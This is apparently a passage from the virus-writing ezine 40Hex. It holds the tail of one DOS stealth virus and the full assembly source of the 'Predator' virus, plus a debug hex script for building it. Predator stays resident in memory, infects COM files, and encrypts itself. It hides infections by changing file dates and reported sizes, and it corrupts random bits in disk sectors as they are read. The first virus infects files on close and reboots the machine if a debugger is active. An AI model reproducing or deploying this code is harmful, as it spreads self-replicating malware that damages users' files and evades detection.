infectdsdx call restoreint24and23 jmp exitint21 handlecreate: mov word ptr cs:storess,ss ; preserve ss and sp mov word ptr cs:storesp,sp call dword ptr cs:oldint21 cli mov ss,word ptr cs:storess mov sp,word ptr cs:storesp sti pop cs:returnFlags ; save return flags pushf push ax push bx push cx push ds push es push si push di jc handlecreate_exit push dx push ax call check_extension pop ax pop dx jc handlecreate_exit push ax call check_command_com pop ax jc handlecreate_exit mov cs:handletoinfect,ax ; save handle to infect ; upon close handlecreate_exit: pop di pop si pop es pop ds pop cx pop bx pop ax jmp exit_replaceflags handleclose_exit: mov cs:filehand,0 jmp exitint21 handleclose: cmp bx,0 jne handleclose_continue jmp exitint21 handleclose_continue: cmp bx,cs:handletoinfect je handleclose_infect cmp bx,cs:filehand je handleclose_exit jmp exitint21 handleclose_infect: mov ah,45h ; Duplicate file handle call callint21 jc handleclose_infect_exit xchg ax,bx call setint24and23 call handleclose_infecthandle call restoreint24and23 handleclose_infect_exit: mov cs:handletoinfect,0 jmp exitint21 handleclose_infecthandle: push ds push dx jmp infecthandle int8: push ax push ds pushf cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount je int8checkint1 inc cs:tickcount ; one mo tick int8checkint1: xor ax,ax mov ds,ax cmp word ptr ds:1*4,offset int1 ; int 1 changed? jne int8setint1 ; fix it if so mov ax,cs cmp word ptr ds:1*4+2,ax jne int8setint1 int8checkint3: cmp word ptr ds:3*4,offset int3 ; int 3 changed? jne int8setint3 ; fix it if so mov ax,cs cmp word ptr ds:3*4+2,ax jne int8setint3 exitint8: popf pop ds pop ax jmp dword ptr cs:oldint8 int8setint1: push es les ax,dword ptr ds:1*4 mov cs:oldint1,ax mov word ptr cs:oldint1+2,es mov word ptr ds:1*4,offset int1 mov word ptr ds:1*4+2,cs pop es jmp short int8checkint3 int8setint3: push es les ax,dword ptr ds:3*4 mov cs:oldint3,ax mov word ptr cs:oldint3+2,es mov word ptr ds:3*4,offset int3 mov word ptr ds:3*4+2,cs pop es jmp short exitint8 int3: ; reboot if debugger push bp ; is active push ax mov bp,sp add bp,6 mov bp,[bp] mov ax,cs cmp bp,ax pop ax pop bp jz reboot jmp dword ptr cs:oldint3 exitint1: iret int1: push bp ; this routine doesn't push ax ; do very much that's mov bp,sp ; meaningful add bp,6 mov bp,[bp] mov ax,cs cmp bp,ax pop ax pop bp jz exitint1 jmp dword ptr cs:oldint1 reboot: db 0EAh ; jmp F000:FFF0 db 0F0h, 0FFh, 0, 0F0h ; (reboot) decrypt: push bx push es call decrypt_next decrypt_next: pop bx mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah nop mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh nop push ds pop es mov di,si mov cx,18h cld decrypt_loop: lodsb db 0FFh, 0C4h ; inc sp stosb db 0, 0E6h ; add dh,ah loop decrypt_loop mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why? pop es pop bx retn handlegoEOF: popf cmp cs:filehand,bx ; currently working on this? jne handlegoEOFexit mov cs:tempstoreDX,dx ; save offset from EOF mov cs:tempstoreCX,cx xor cx,cx xor dx,dx call callint21 ; go to EOF sub ax,viruslength ; shrink to carrier size sbb dx,0 mov cx,ax xchg cx,dx add dx,cs:tempstoreDX ; add offset from carrier adc cx,cs:tempstoreCX ; EOF mov ax,4200h ; and do it handlegoEOFexit: jmp dword ptr cs:oldint21 handleopen2: call dword ptr cs:oldint21 pushf push ax push bx push cx push dx push di push si push ds push es jc handleopen2_exit cmp cs:filehand,0 jne handleopen2_exit push ax mov bx,ax call checkifinfected pop ax jc handleopen2_alreadyinfected mov cs:filehand,ax ; save file handle for mov bx,ax ; later use mov ax,4202h ; go to end of file xor cx,cx ; to find file size xor dx,dx call callint21 sub ax,viruslength ; calculate carrier sbb dx,0 ; size and store it mov cs:carrierEOFhi,dx mov cs:carrierEOFlo,ax handleopen2_alreadyinfected: xor cx,cx ; go to start of file xor dx,dx mov ax,4200h call callint21 handleopen2_exit: pop es pop ds pop si pop di pop dx pop cx pop bx pop ax exit_replaceflags: popf pop cs:storesIP pop cs:storesCS pop cs:returnFlags pushf push cs:storesCS push cs:storesIP iret handleread_exit: jmp handleread__exit handleread: call dword ptr cs:oldint21 ; prechain pushf push ax push cx push dx push ds push di push si push es jc handleread_exit ; exit on error cmp cs:filehand,0 je handleread_exit cmp cs:filehand,bx jne handleread_exit mov cs:bufferoff,dx mov cs:bufferseg,ds mov cs:bytesread,ax xor cx,cx ; get current file position xor dx,dx mov ax,4201h call callint21 jc handleread_exit sub ax,cs:bytesread ; find pre-read location sbb dx,0 ; to see if need to mov cs:origposhi,dx ; redirect it mov cs:origposlo,ax mov ax,4202h ; go to end of file xor cx,cx xor dx,dx call callint21 sub ax,viruslength sbb dx,0 mov cs:carrierEOFlo,ax mov cs:carrierEOFhi,dx cmp cs:origposhi,0 ; check if read was jne handleread_notinheader ; from the header cmp cs:origposlo,18h jb handleread_inheader handleread_notinheader: mov cx,cs:origposhi ; check if read extended mov dx,cs:origposlo ; into the virus add dx,cs:bytesread adc cx,0 cmp cx,cs:carrierEOFhi jb handleread_notinvirus ja handleread_invirus cmp dx,cs:carrierEOFlo ja handleread_invirus handleread_notinvirus: mov cx,cs:origposhi ; return to proper file mov dx,cs:origposlo ; position add dx,cs:bytesread adc cx,0 mov ax,4200h call callint21 handleread__exit: pop es pop si pop di pop ds pop dx pop cx pop ax jmp exit_replaceflags handleread_invirus: jmp handleread__invirus handleread_inheader: cmp cs:bytesread,0 je handleread_notinheader mov cx,cs:carrierEOFhi mov dx,cs:carrierEOFlo add dx,offset savebuffer adc cx,0 mov ax,4200h call callint21 jc handleread_notinheader push ds pop es push cs pop ds mov dx,offset savebuffer mov ah,3Fh ; Read header mov cx,18h call callint21 jc handleread_notinheader cmp ax,18h jne handleread_notinheader mov cx,cs:carrierEOFhi ; go to decryption values mov dx,cs:carrierEOFlo add dx,offset encryptval1 adc cx,0 mov ax,4200h call callint21 mov ah,3Fh ; read decryption values mov cx,2 mov dx,offset encryptval1 call callint21 jc handleread_inheader_error mov si,offset savebuffer mov ah,byte ptr cs:encryptval1 mov dh,byte ptr cs:encryptval2 call decrypt mov cx,cs:origposlo neg cx add cx,18h cmp cx,cs:bytesread jb handleread_inheader_noadjust mov cx,cs:bytesread handleread_inheader_noadjust: mov si,offset savebuffer ; copy previously read add si,cs:origposlo ; stuff if necessary mov di,cs:bufferoff mov es,cs:bufferseg cld cmp cx,0 je handleread_inheader_nomove rep movsb handleread_inheader_nomove: jmp handleread_notinheader handleread_inheader_error: jmp handleread_notinheader handleread__invirus: mov cx,cs:origposhi cmp cx,cs:carrierEOFhi ja handleread__invirus_gocarrierEOF jc handleread__invirus_readpart mov cx,cs:origposlo cmp cx,cs:carrierEOFlo jb handleread__invirus_readpart handleread__invirus_gocarrierEOF: mov cx,cs:origposhi mov dx,cs:origposlo mov ax,4200h call callint21 xor ax,ax handleread__invirus_exit: pop es pop si pop di pop ds pop dx pop cx pop cs:returnFlags jmp exit_replaceflags handleread__invirus_readpart: mov cx,cs:carrierEOFhi ; read portion of mov dx,cs:carrierEOFlo ; file up to virus mov ax,4200h call callint21 sub ax,cs:origposlo jmp short handleread__invirus_exit handlewrite: cmp bx,0 je handlewrite_exit cmp bx,cs:filehand jne handlewrite_exit mov ax,4201h ; get current position xor cx,cx ; in the file xor dx,dx call callint21 jc handlewrite_exit mov cs:curposlo,ax mov cs:curposhi,dx mov ax,4202h ; go to end of file xor cx,cx ; to find the filesize xor dx,dx call callint21 mov cs:filesizelo,ax mov cs:filesizehi,dx call disinfect ; disinfect the file jc handlewrite_done cmp cs:handletoinfect,0 jne handlewrite_done mov cs:handletoinfect,bx mov cs:filehand,0 handlewrite_done: mov dx,cs:curposlo ; return to original mov cx,cs:curposhi ; position mov ax,4200h call callint21 handlewrite_exit: jmp exitint21 terminate: mov cs:chkdskflag,0 jmp exitint21 check_chkdsk: mov si,dx cld check_chkdsk_loop1: lodsw cmp ah,0 je check_chkdsk_exit cmp ax,'HC' je check_chkdsk_loop2 cmp ax,'hc' je check_chkdsk_loop2 dec si jmp short check_chkdsk_loop1 check_chkdsk_exit: retn check_chkdsk_loop2: push si lodsw cmp ax,'DK' pop si jz check_chkdsk_found cmp ax,'dk' je check_chkdsk_found dec si jmp short check_chkdsk_loop1 check_chkdsk_found: mov cs:chkdskflag,1 retn getsetfiletime: cmp al,0 ; get file tiem? jne getsetfiletime_exit ; nope, exit call dword ptr cs:oldint21 ; prechain pushf and cx,1Eh ; if (seconds == 60) cmp cx,1Eh ; then xor with 60h jne getsetfiletime_nofix ; to hide the change xor cx,1Eh ; otherwise, don't getsetfiletime_nofix: jmp exit_replaceflags getsetfiletime_exit: popf jmp dword ptr cs:oldint21 db '(c) 1990 by SVC,Vers. ' infection_marker db '5.0 ',0 begindata: oldint1 dw 0, 0 oldint3 dw 0, 0 oldint8 dw 0, 0 oldint21 dw 0, 0 savebuffer dw 20CDh dw 11 dup (0) tickcount db 0 carrierPSP dw 0 origposlo dw 0 origposhi dw 0 carrierEOFlo dw 0 carrierEOFhi dw 0 bytesread dw 0 bufferoff dw 0 bufferseg dw 0 tempstoreCX dw 0 tempstoreDX dw 0 filehand dw 0 fileattr dw 0 filetime dw 0 filedate dw 0 chkdskflag dw 0 oldint24 dw 0, 0 oldint23 dw 0, 0 handletoinfect dw 0 storesIP dw 0 storesCS dw 0 returnFlags dw 0 filesizelo dw 0 filesizehi dw 0 curposlo dw 0 curposhi dw 0 workbuffer dw 12 dup (0) storeAX dw 0 db 0 storess dw 0 storesp dw 0 int21command dw 0 encryptval1 db 0 encryptval2 db 0 dw 1990h ; written 1990 versionbyte db 50h ; version 5.0 endvirus = $ viruslength = $ - start end start ------------------------------------------------------------------------------- 40Hex Issue 11 Volume 3 Number 2 File 008 Predator Predator is a virus written by Phalcon/Skism's newest member, Priest. It incorporates a number of stealth features. It infects only COM files. Predator uses the "Century" technique of marking a virus infection; file dates are bumped up 100 years to designate an infection. --Predator Source Code--------------------------------------------------------- CSEG SEGMENT ASSUME CS:CSEG, ES:CSEG, SS:CSEG ORG 0h ; Source code of the Predator ; Priest Its_Me equ 'IM' Read_Only equ 1 Mem_Size equ offset Finish-offset Virus_Start ;amount of memory needed Virus_Size equ offset Virus_End-offset Virus_Start ;size of virus New_Virus_Size equ offset Finish-offset New_Virus ;size of virus w/ ;encryption Hundred_Years equ 0c8h Version equ 30h ;Get DOS Version Open equ 3dh ;Open File Ext_Open equ 6ch ;Extended Open File Execute equ 4bh ;Execute Find_FCB equ 11h ;Find File Control Block Find_FCB_Next equ 12h ;Find next FCB Open_FCB equ 0fh ;Open FCB Get_DTA equ 2fh ;Get DTA address Find_Dir equ 4eh ;Find file Find_Dir_Next equ 4fh ;Find next file Attribute equ 1 ;infection flags Opened equ 2 Written equ 4 Extended_FCB equ 0ffh ;Extended FCB will have the first ;byte equal to FFh Virus_Start: mov sp,bp ;restore Stack after decryption sti ;interrupts on mov ah,Version mov bx,Its_Me int 21h ;Check if already resident cmp ax,Its_Me jne Go_Res Jump_R_F: jmp Return_File Go_Res: mov ax,cs dec ax ;get segment of this MCB MCB_ds: mov ds,ax cmp byte ptr ds:[0],'Z' ;must be last Memory Control Block jne Jump_R_F Found_last_MCB: mov ax,Mem_Size ;Reserve enough for virus + data mov cl,4h shr ax,cl ;convert to paragraphs inc ax push ax dec ax shr ax,cl shr cl,1 shr ax,cl ;convert to kilobytes inc ax push ds xor bx,bx mov ds,bx sub word ptr ds:[413h],ax ;take memory from int 12 pop ds pop ax sub word ptr ds:[0003h],ax ;take it from availible memory mov ax,cs add ax,ds:[0003h] ;get segment of free memory mov es,ax push cs pop ds call $+3 ;next 3 instructions find Virus_Start pop si sub si,(offset $-1)-offset Virus_Start xor di,di mov cx,Mem_Size cld rep movsb ;copy us to High Memory push es mov ax,offset High_Start push ax retf ;jump up there Virus_Name: db 'Predator virus ' Copyright: db '(c) Mar. 93 ' Me: db 'Priest' File_Bytes db 0cdh, 20h, 0h ;first 3 bytes of infected .com file Com_Spec: db '.COM',0h ;only .com files can be infected High_Start: push cs pop ds mov ax,3521h ;get address of Int 21 int 21h mov word ptr ds:[Int_21],bx ;save it mov word ptr ds:[Int_21+2h],es mov al,13h ;get address of Int 13 int 21h mov word ptr ds:[Int_13],bx ;save it mov word ptr ds:[Int_13+2h],es mov ah,25h ;point Int 13 to our handler mov dx,offset New_13 int 21h mov al,21h ;21h too mov dx,offset New_21 int 21h xor ax,ax mov ds,ax mov ax,ds:[46ch] ;get a random number for push cs ; activation task pop ds xchg al,ah add word ptr ds:[Count_Down],ax ;Save it for count down Return_File: push ss pop es mov di,100h call $+3 ;get address of first 3 bytes of .com file pop si sub si,(offset $-1)-offset File_Bytes push ss push di cld movsw ;move them movsb push ss pop ds xor ax,ax retf ;jump to original program New_21: cmp ah,Open ;check function je Infect cmp ah,Ext_Open je Ext_File_Open cmp ah,Execute je Infect cmp ah,Find_FCB je Stealth_FCB cmp ah,Find_FCB_Next je Stealth_FCB cmp ah,Open_FCB je Stealth_FCB_O cmp ah,Find_Dir je Stealth_Dir cmp ah,Find_Dir_Next je Stealth_Dir cmp ah,Version ;other checking for us jne Jump_21 cmp bx,Its_Me jne Jump_21 mov ax,bx ;tell other that we're here Ret_21: retf 0002h Jump_21: jmp cs:Int_21 Stealth_Dir: jmp Hide_Find Stealth_FCB: jmp Hide_FCB Stealth_FCB_O: jmp Hide_FCB_O Infect_Error_J: jmp Infect_Error Ext_File_Open: mov word ptr cs:[File_Pnt],si ;Extended open uses DS:SI jmp short Infect_ds Infect: mov word ptr cs:[File_Pnt],dx ;Open & Execute use DS:DX Infect_ds: mov word ptr cs:[File_Pnt+2h],ds mov byte ptr cs:[Infect_Status],0h ;zero out progress byte call Push_All ;Push all registers call Hook_24 ;Hook Int 24 to avoid errors being displayed call Is_Com ;Is it a .com file? jb Infect_Error_J ;Carry flag set if it is not lds dx,cs:[File_Pnt] ;get saved address of file name mov ax,4300h ;fetch the attribute push ax call Old_21 pop ax jb Infect_Error_J mov byte ptr cs:[File_Attr],cl ;save attribute test cl,Read_Only ;no need to change if not read only je No_Attr_Rem xor cx,cx inc al call Old_21 ;if read only, then zero out jb Infect_Error_J or byte ptr cs:[Infect_Status],Attribute ;update progress byte No_Attr_Rem: mov ax,3dc2h ;open with write/compatibility call Old_21 jb Infect_Error_J xchg ax,bx ;handle into bx push cs pop ds or byte ptr ds:[Infect_Status],Opened ;update progress byte mov ax,5700h ;get date call Old_21 cmp dh,Hundred_Years ;is it infected? jnb Infect_Error add dh,Hundred_Years ;else add 100 years to date mov word ptr ds:[File_Date],dx ;save modified date mov word ptr ds:[File_Time],cx mov ah,3fh ;read first 3 bytes mov cx,3h mov dx,offset File_Bytes call Old_21 cmp ax,cx ;if error, then quit jne Infect_Error cmp word ptr ds:[File_Bytes],'MZ' ;no .exe files je Infect_Error cmp word ptr ds:[File_Bytes],'ZM' je Infect_Error mov al,2 ;set file pointer to end of file call Set_Pnt or dx,dx ;too big? jne Infect_Error cmp ax,1000 ;too small? jb Infect_Error cmp ax,0-2000 ;still too big? ja Infect_Error mov di,offset Jump_Bytes ;make a jump to end of file push ax add ax,100h ;these two are for the encryption mov word ptr ds:[Decrypt_Start_Off+1],ax push cs pop es mov al,0e9h ;e9h = JMP xxxx cld stosb pop ax sub ax,3h ; to end of file stosw call Encrypt_Virus ;encrypt the virus mov ah,40h ;write the encrypted virus and the ;decryption routine to file mov dx,offset New_Virus mov cx,New_Virus_Size call Old_21 jb Infect_Error or byte ptr ds:[Infect_Status],Written ;update progress byte xor al,al ;set file pointer to call Set_Pnt ;beginning of file mov ah,40h ;write the jump mov dx,offset Jump_Bytes mov cx,3h call Old_21 Infect_Error: test byte ptr cs:[Infect_Status],Opened ;was file opened? je Set_Attr test byte ptr cs:[Infect_Status],Written ;was file written to? je Close mov ax,5701h ;if infected, restore modified date mov dx,cs:[File_Date] mov cx,ds:[File_Time] call Old_21 Close: mov ah,3eh ;close file call Old_21 Set_Attr: test byte ptr cs:[Infect_Status],Attribute ;attribute changed? je Jump_Old_21 mov ax,4301h ;if changed, then restore it xor cx,cx mov cl,cs:[File_Attr] lds dx,cs:[File_Pnt] call Old_21 Jump_Old_21: call Unhook_24 ;unhook Int 24 call Pop_All ;pop all registers jmp Jump_21 ;jump to original int 21 Set_Pnt: mov ah,42h ;set file pointer w/ al as parameter xor cx,cx cwd ;zero out dx call Old_21 retn Pop_All: pop word ptr cs:[Ret_Add] ;save return address pop es pop ds pop si pop di pop bp pop dx pop cx pop bx pop ax popf jmp cs:[Ret_Add] ;jump to return address Push_All: pop word ptr cs:[Ret_Add] ;save return address pushf push ax push bx push cx push dx push bp push di push si push ds push es jmp cs:[Ret_Add] ;jump to return address Hook_24: call Push_All ;push all registers mov ax,3524h ;get int 24 address call Old_21 mov word ptr cs:[Int_24],bx ;save address mov word ptr cs:[Int_24+2h],es mov ah,25h ;set new address to us push cs pop ds mov dx,offset New_24 call Old_21 call Pop_All ;pop all registers retn Unhook_24: call Push_All mov ax,2524h ;set old address back lds dx,cs:[Int_24] Call Old_21 call Pop_All retn New_24: mov al,3h ;int 24, fail iret Old_21: pushf ;call to original int 21 call cs:Int_21 retn ;Hide_Find hides the file size increase for functions 4eh and 4fh and the ;date change Hide_Find: call Old_21 ;do the search call Push_All ;push all registers jb Hide_File_Error mov ah,2fh ;get DTA address call Old_21 cmp byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Is it jb Hide_File_Error ;infected? sub byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Take ;away 100 years from date sub word ptr es:[bx.DTA_File_Size],New_Virus_Size ;take ;away Virus_Size from file size sbb word ptr es:[bx.DTA_File_Size+2],0 ;subtract remainder ;although there will not be one ; I included it for expandibility ; (i.e. infecting .exe files) Hide_File_Error:call Pop_All ;pop all registers jmp Ret_21 ;Hide_FCB hides the file size increase for functions 11h and 12h and the ;date change Hide_FCB: call Old_21 ;find file call Push_All ;push registers or al,al ;al=0 if no error jne Hide_FCB_Error mov ah,Get_DTA ;get address of DTA call Old_21 cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB? jne Hide_FCB_Reg add bx,7h ;yes, add 7 to address to skip garbage Hide_FCB_Reg: cmp byte ptr es:[bx.DS_Date+1h],Hundred_Years ;Is it infected? jb Hide_FCB_Error sub byte ptr es:[bx.DS_Date+1h],Hundred_Years ;yes, restore ;date sub word ptr es:[bx.DS_File_Size],New_Virus_Size ;fix size sbb word ptr es:[bx.DS_File_Size+2],0 ;and remainder Hide_FCB_Error: call Pop_All ;pop all registers jmp Ret_21 ;Hide_FCB_O hides the file size increase for function 0fh and the ;date change Hide_FCB_O: call Old_21 ;open FCB call Push_All ;push all registers cmp al,0h ;al=0 if opened, else error jne Hide_FCB_O_Error mov bx,dx ;pointer into bx cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB? jne Hide_FCB_No_E add bx,7h ;yes, add 7 to skip garbage Hide_FCB_No_E: cmp byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;infected? jb Hide_FCB_O_Error sub byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;yes, ;fix date sub word ptr ds:[bx.FCB_File_Size],New_Virus_Size ;fix size sbb word ptr ds:[bx.FCB_File_Size+2h],0 ;and remainder Hide_FCB_O_Error:call Pop_All ;pop all registers jmp Ret_21 Is_Com: push cs pop ds les di,ds:[File_Pnt] ;get address of file xor al,al mov cx,7fh cld repne scasb ;scan for null byte at end of file name cmp cx,7fh-5h ;must be at least 5 bytes long, ;including ext. (.COM) jnb Is_Not_Com mov cx,5h ;compare last five bytes to ".COM",0 sub di,cx mov si,offset Com_Spec ;offset of ".COM",0 cld rep cmpsb ;compare them jne Is_Not_Com clc ;if .com file, then clear carry flag retn Is_Not_Com: stc ;else set it retn ;This is the interrupt 13 handle, it's sole purpose is to complement a ;random bit after a random number of sectors (1-65535) have been read. New_13: cmp ah,2h ;Is a sector going to be read je Read_Sector Jump_13: jmp cs:Int_13 ;no, continue on Ret_13: call Pop_All ;pop all registers retf 0002h Read_Sector: mov byte ptr cs:[Sub_Value],al ;save number of sectors read pushf call cs:Int_13 ;read the sectors call Push_All ;push flags jb Ret_13 ;jump if error to return mov al,cs:[Sub_Value] ;get number of sectors read cbw sub word ptr cs:[Count_Down],ax ;subtract it from our count ja Ret_13 ;down mov bx,200h ;200h bytes per sector cwd ;zero dx mul bx ;mul # of sectors by 200 dec ax ;minus one xor cx,cx mov ds,cx mov cx,ds:[46ch] ;get random value mov word ptr cs:[Count_Down],cx ;move it into count down push cx and cx,ax ;cx must be < ax add bx,cx ;add it to the address of pop cx ;where the sectors were read add cl,ch ;randomize cl rcr word ptr es:[bx],cl ;get a random bit cmc ;reverse it rcl word ptr es:[bx],cl ;put it back jmp short Ret_13 ;jump to return ;The Encrypt_Virus module copies the decryption routine and an encrypted ;copy of the virus to a buffer Encrypt_Virus: xor ax,ax mov ds,ax mov ax,ds:[46ch] ;get random value push cs pop ds add byte ptr ds:[Decrypt_Value],al ;use as encryption key mov al,ds:[Decrypt_Value] ;get encryption key add ah,al ;randomize ah add byte ptr ds:[Decrypt_Random],ah ;put random garbage mov si,offset Decrypt_Code ;copy decryption routine mov di,offset New_Virus mov cx,offset Decrypt_End-offset Decrypt_Code cld rep movsb ;to buffer mov si,offset Virus_Start ;copy virus mov cx,((Virus_Size)/2)+1 Encrypt_Loop: xchg ax,cx push ax lodsw rol ax,cl ;and encrypt not ax stosw ;to buffer pop ax xchg ax,cx loop Encrypt_Loop dec di ;fix pointer for dec di ;decryption routine sub di,offset New_Virus ;point decryption's SP to end of ;encrypted code for proper ;decryption add word ptr ds:[New_Virus+(Decrypt_Start_Off+1-Decrypt_Code)],di retn ;Decryption routine Decrypt_Code: mov dx,((Virus_Size)/2)+1 db 0b1h ;mov cl, Decrypt_Value db ? cli mov bp,sp Decrypt_Start_Off:mov sp,1234h Decrypt_Loop: pop ax not ax ror ax,cl push ax jmp short $+3 Decrypt_Random: db 12h dec sp dec sp dec dx jne Decrypt_Loop Decrypt_End: db ? Virus_End: Jump_Bytes db 3 dup(0) Int_13 dd ? Int_21 dd ? Int_24 dd ? Ret_Add dw ? File_Pnt dd ? Infect_Status db ? File_Time dw ? File_Date dw ? File_Attr db ? Count_Down dw ? Sub_Value db ? New_Virus db Virus_Size+(offset Decrypt_End-offset Decrypt_Code)+1 dup(0) Finish: ;various structures Directory STRUC DS_Drive db ? DS_File_Name db 8 dup(0) DS_File_Ext db 3 dup(0) DS_File_Attr db ? DS_Reserved db 10 dup(0) DS_Time dw ? DS_Date dw ? DS_Start_Clust dw ? DS_File_Size dd ? Directory ENDS FCB STRUC FCB_Drive db ? FCB_File_Name db 8 dup(0) FCB_File_Ext db 3 dup(0) FCB_Block dw ? FCB_Rec_Size dw ? FCB_File_Size dd ? FCB_File_Date dw ? FCB_File_Time dw ? FCB_Reserved db 8 dup(0) FCB_Record db ? FCB_Random dd ? FCB ENDS DTA STRUC DTA_Reserved db 21 dup(0) DTA_File_Attr db ? DTA_File_Time dw ? DTA_File_Date dw ? DTA_File_Size dd ? DTA_File_Name db 13 dup(0) DTA ENDS CSEG ENDS END Virus_Start --Predator Debug Script-------------------------------------------------------- n predator.com e 0100 8B E5 FB B4 30 BB 4D 49 CD 21 3D 4D 49 75 03 E9 e 0110 AF 00 8C C8 48 8E D8 80 3E 00 00 5A 75 F1 B8 64 e 0120 08 B1 04 D3 E8 40 50 48 D3 E8 D0 E9 D3 E8 40 1E e 0130 33 DB 8E DB 29 06 13 04 1F 58 29 06 03 00 8C C8 e 0140 03 06 03 00 8E C0 0E 1F E8 00 00 5E 81 EE 4B 00 e 0150 33 FF B9 64 08 FC F3 A4 06 B8 89 00 50 CB 50 72 e 0160 65 64 61 74 6F 72 20 76 69 72 75 73 20 20 28 63 e 0170 29 20 4D 61 72 2E 20 39 33 20 20 50 72 69 65 73 e 0180 74 CD 20 00 2E 43 4F 4D 00 0E 1F B8 21 35 CD 21 e 0190 89 1E 1D 04 8C 06 1F 04 B0 13 CD 21 89 1E 19 04 e 01A0 8C 06 1B 04 B4 25 BA 6D 03 CD 21 B0 21 BA D8 00 e 01B0 CD 21 33 C0 8E D8 A1 6C 04 0E 1F 86 C4 01 06 31 e 01C0 04 16 07 BF 00 01 E8 00 00 5E 81 EE 48 00 16 57 e 01D0 FC A5 A4 16 1F 33 C0 CB 80 FC 3D 74 4B 80 FC 6C e 01E0 74 3F 80 FC 4B 74 41 80 FC 11 74 2C 80 FC 12 74 e 01F0 27 80 FC 0F 74 25 80 FC 4E 74 1A 80 FC 4F 74 15 e 0200 80 FC 30 75 0B 81 FB 4D 49 75 05 8B C3 CA 02 00 e 0210 2E FF 2E 1D 04 E9 9A 01 E9 C5 01 E9 FA 01 E9 DC e 0220 00 2E 89 36 27 04 EB 05 2E 89 16 27 04 2E 8C 1E e 0230 29 04 2E C6 06 2B 04 00 E8 26 01 E8 37 01 E8 08 e 0240 02 72 DB 2E C5 16 27 04 B8 00 43 50 E8 5C 01 58 e 0250 72 CC 2E 88 0E 30 04 F6 C1 01 74 0F 33 C9 FE C0 e 0260 E8 48 01 72 B9 2E 80 0E 2B 04 01 B8 C2 3D E8 3A e 0270 01 72 AB 93 0E 1F 80 0E 2B 04 02 B8 00 57 E8 2A e 0280 01 80 FE C8 73 77 80 C6 C8 89 16 2E 04 89 0E 2C e 0290 04 B4 3F B9 03 00 BA 81 00 E8 0F 01 3B C1 75 5D e 02A0 81 3E 81 00 5A 4D 74 55 81 3E 81 00 4D 5A 74 4D e 02B0 B0 02 E8 8F 00 0B D2 75 44 3D E8 03 72 3F 3D 30 e 02C0 F8 77 3A BF 16 04 50 05 00 01 A3 05 04 0E 07 B0 e 02D0 E9 FC AA 58 2D 03 00 AB E8 E2 01 B4 40 BA 34 04 e 02E0 B9 30 04 E8 C5 00 72 15 80 0E 2B 04 04 32 C0 E8 e 02F0 52 00 B4 40 BA 16 04 B9 03 00 E8 AE 00 2E F6 06 e 0300 2B 04 02 74 1C 2E F6 06 2B 04 04 74 0F B8 01 57 e 0310 2E 8B 16 2E 04 8B 0E 2C 04 E8 8F 00 B4 3E E8 8A e 0320 00 2E F6 06 2B 04 01 74 12 B8 01 43 33 C9 2E 8A e 0330 0E 30 04 2E C5 16 27 04 E8 70 00 E8 58 00 E8 0C e 0340 00 E9 CC FE B4 42 33 C9 99 E8 5F 00 C3 2E 8F 06 e 0350 25 04 07 1F 5E 5F 5D 5A 59 5B 58 9D 2E FF 26 25 e 0360 04 2E 8F 06 25 04 9C 50 53 51 52 55 57 56 1E 06 e 0370 2E FF 26 25 04 E8 E9 FF B8 24 35 E8 2D 00 2E 89 e 0380 1E 21 04 2E 8C 06 23 04 B4 25 0E 1F BA A8 02 E8 e 0390 19 00 E8 B8 FF C3 E8 C8 FF B8 24 25 2E C5 16 21 e 03A0 04 E8 07 00 E8 A6 FF C3 B0 03 CF 9C 2E FF 1E 1D e 03B0 04 C3 E8 F6 FF E8 A9 FF 72 20 B4 2F E8 EC FF 26 e 03C0 80 BF 19 00 C8 72 13 26 80 AF 19 00 C8 26 81 AF e 03D0 1A 00 30 04 26 83 9F 1C 00 00 E8 70 FF E9 2D FE e 03E0 E8 C8 FF E8 7B FF 0A C0 75 28 B4 2F E8 BC FF 80 e 03F0 3F FF 75 03 83 C3 07 26 80 BF 1A 00 C8 72 13 26 e 0400 80 AF 1A 00 C8 26 81 AF 1D 00 30 04 26 83 9F 1F e 0410 00 00 E8 38 FF E9 F5 FD E8 90 FF E8 43 FF 3C 00 e 0420 75 21 8B DA 80 3F FF 75 03 83 C3 07 80 BF 15 00 e 0430 C8 72 10 80 AF 15 00 C8 81 AF 10 00 30 04 83 9F e 0440 12 00 00 E8 07 FF E9 C4 FD 0E 1F C4 3E 27 04 32 e 0450 C0 B9 7F 00 FC F2 AE 83 F9 7A 73 0F B9 05 00 2B e 0460 F9 BE 84 00 FC F3 A6 75 02 F8 C3 F9 C3 80 FC 02 e 0470 74 0B 2E FF 2E 19 04 E8 D3 FE CA 02 00 2E A2 33 e 0480 04 9C 2E FF 1E 19 04 E8 D7 FE 72 EB 2E A0 33 04 e 0490 98 2E 29 06 31 04 77 DF BB 00 02 99 F7 E3 48 33 e 04A0 C9 8E D9 8B 0E 6C 04 2E 89 0E 31 04 51 23 C8 03 e 04B0 D9 59 02 CD 26 D3 1F F5 26 D3 17 EB BA 33 C0 8E e 04C0 D8 A1 6C 04 0E 1F 00 06 00 04 A0 00 04 02 E0 00 e 04D0 26 0F 04 BE FC 03 BF 34 04 B9 19 00 FC F3 A4 BE e 04E0 00 00 B9 0C 02 91 50 AD D3 C0 F7 D0 AB 58 91 E2 e 04F0 F4 4F 4F 81 EF 34 04 01 3E 3D 04 C3 BA 0C 02 B1 e 0500 00 FA 8B EC BC 34 12 58 F7 D0 D3 C8 50 EB 01 12 e 0510 4C 4C 4A 75 F2 00 00 00 00 00 00 00 00 00 00 00 e 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 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